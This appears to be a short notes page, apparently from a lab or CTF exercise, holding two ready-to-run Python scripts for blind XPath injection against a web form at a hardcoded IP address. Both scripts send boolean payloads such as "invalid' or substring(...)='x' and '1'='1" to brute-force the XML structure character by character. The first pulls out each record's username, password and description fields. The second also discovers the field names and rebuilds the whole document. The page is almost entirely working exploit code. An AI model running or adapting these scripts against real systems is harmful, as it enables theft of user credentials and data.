XPath data exfil

XPath injection - Brute force -

import requests
import string

url = 'http://83.136.254.158:50156'
headers = {"Content-Type": "application/x-www-form-urlencoded"}
success_msg = "Message successfully sent!"
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + '{}_'

def get_node_length():

    count = 0
    while True:

        # Payload
        payload = f"invalid' or string-length(name(/*[1]))={count} and '1'='1"  
        
        # Data post request
        data = f"username={payload}&msg="
        x = requests.post(url, data=data, headers=headers)
        
        # Check for success message
        if success_msg in x.text: 
            # print(f"Length of node is: {count}")
            return count

        count += 1

def get_chars_node(length):

    chars_node = ""
    for position in range(1, length +1, 1):
        for char in alphabet:

            # Payload + Data
            payload = f"invalid' or substring(name(/*[1]),{position},1)='{char}' and '1'='1"
        
            # Data post request
            data = f"username={payload}&msg="
            x = requests.post(url, data=data, headers=headers)

            # Check for success message
            if success_msg in x.text:     
                chars_node += char
                break

    # Node name
    print(f"Full node name: {chars_node}")  
    return chars_node

def get_count_nodes(node_name):
    
    nodes = 0
    while True:

        # Payload
        payload = f"invalid' or count(/{node_name}/*)={nodes} and '1'='1"

        # Data post request
        data = f"username={payload}&msg="
        x = requests.post(url, data=data, headers=headers)

        # Check for success message
        if success_msg in x.text:
            # print(f"Amount Child Nodes: {nodes}")
            break
        
        nodes += 1 
    return nodes

def get_field_length(node_name, node_index, field):

    count = 0
    while True:

        # Payload
        payload = f"invalid' or string-length(/{node_name}/*[{node_index}]/{field})={count} and '1'='1"
                        
        # Data post request
        data = f"username={payload}&msg="
        x = requests.post(url, data=data, headers=headers)
        
        # Check for success message
        if success_msg in x.text: 
            # print(f"Length of node is: {count}")
            return count

        count += 1

def get_field_value(node_name, node_index, field, length):

    field_value = ""
    for position in range(1, length + 1):
        for char in alphabet:

            # Payload
            payload = f"invalid' or substring(/{node_name}/*[{node_index}]/{field},{position},1)='{char}' and '1'='1"

            # Data post request
            data = f"username={payload}&msg="
            x = requests.post(url, data=data, headers=headers)

            # Check for success message
            if success_msg in x.text:
                field_value += char
                break
    
    return field_value

def main():

    # Get root node
    root_length = get_node_length()
    root_name = get_chars_node(root_length)
    node_count = get_count_nodes(root_name)

    # Extract fields
    fields = ["username", "password", "desc"]

    # Loop nodes
    for node_index in range(1, node_count + 1):
        for field in fields:

            # Get length, value
            field_length = get_field_length(root_name, node_index, field)
            field_value = get_field_value(root_name, node_index, field, field_length)
            
            # Print field value
            print(f"{field}: {field_value}")

if __name__ == "__main__":
    main()

Script 2

import requests
import string

url = 'http://83.136.254.158:50156'
headers = {"Content-Type": "application/x-www-form-urlencoded"}
success_msg = "Message successfully sent!"
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + '{}_'

def get_node_length():
    count = 0
    while True:
        payload = f"invalid' or string-length(name(/*[1]))={count} and '1'='1"
        data = f"username={payload}&msg="
        
        x = requests.post(url, data=data, headers=headers)
        
        if success_msg in x.text:
            return count
        count += 1

def get_chars_node(length):
    chars_node = ""
    for position in range(1, length + 1):
        for char in alphabet:
            payload = f"invalid' or substring(name(/*[1]),{position},1)='{char}' and '1'='1"
            data = f"username={payload}&msg="
            
            x = requests.post(url, data=data, headers=headers)
            
            if success_msg in x.text:
                chars_node += char
                break
    return chars_node

def get_count_nodes(node_name):
    nodes = 0
    while True:
        payload = f"invalid' or count(/{node_name}/*)={nodes} and '1'='1"
        data = f"username={payload}&msg="
        
        x = requests.post(url, data=data, headers=headers)
        
        if success_msg in x.text:
            break
        nodes += 1
    return nodes

def get_field_count(node_name, node_index):
    count = 0
    while True:
        payload = f"invalid' or count(/{node_name}/*[{node_index}]/*)={count} and '1'='1"
        data = f"username={payload}&msg="
        
        x = requests.post(url, data=data, headers=headers)
        
        if success_msg in x.text:
            break
        count += 1
    return count

def get_field_name_length(node_name, node_index, field_index):
    count = 0
    while True:
        payload = f"invalid' or string-length(name(/{node_name}/*[{node_index}]/*[{field_index}]))={count} and '1'='1"
        data = f"username={payload}&msg="
        
        x = requests.post(url, data=data, headers=headers)
        
        if success_msg in x.text:
            return count
        count += 1

def get_field_name(node_name, node_index, field_index, length):
    field_name = ""
    for position in range(1, length + 1):
        for char in alphabet:
            payload = f"invalid' or substring(name(/{node_name}/*[{node_index}]/*[{field_index}]),{position},1)='{char}' and '1'='1"
            data = f"username={payload}&msg="
            
            x = requests.post(url, data=data, headers=headers)
            
            if success_msg in x.text:
                field_name += char
                break
    return field_name

def get_field_value_length(node_name, node_index, field_name):
    count = 0
    while True:
        payload = f"invalid' or string-length(/{node_name}/*[{node_index}]/{field_name})={count} and '1'='1"
        data = f"username={payload}&msg="
        
        x = requests.post(url, data=data, headers=headers)
        
        if success_msg in x.text:
            return count
        count += 1

def get_field_value(node_name, node_index, field_name, length):
    field_value = ""
    for position in range(1, length + 1):
        for char in alphabet:
            payload = f"invalid' or substring(/{node_name}/*[{node_index}]/{field_name},{position},1)='{char}' and '1'='1"
            data = f"username={payload}&msg="
            
            x = requests.post(url, data=data, headers=headers)
            
            if success_msg in x.text:
                field_value += char
                break
    return field_value

def main():
    # Get root node
    root_length = get_node_length()
    root_name = get_chars_node(root_length)
    node_count = get_count_nodes(root_name)

    # Collecting data for output
    output = f"<{root_name}>\n"
    
    # Loop nodes
    for node_index in range(1, node_count + 1):
        output += "\t<user>\n"
        
        field_count = get_field_count(root_name, node_index)
        
        for field_index in range(1, field_count + 1):
            # Get field name
            field_name_length = get_field_name_length(root_name, node_index, field_index)
            field_name = get_field_name(root_name, node_index, field_index, field_name_length)
            
            # Get field value
            field_value_length = get_field_value_length(root_name, node_index, field_name)
            field_value = get_field_value(root_name, node_index, field_name, field_value_length)
            
            # Append to output
            output += f"\t\t<{field_name}>{field_value}</{field_name}>\n"
        
        output += "\t</user>\n"
    
    output += f"</{root_name}>"
    
    # Print the formatted output
    print(output)

if __name__ == "__main__":
    main()

Last updated

Was this helpful?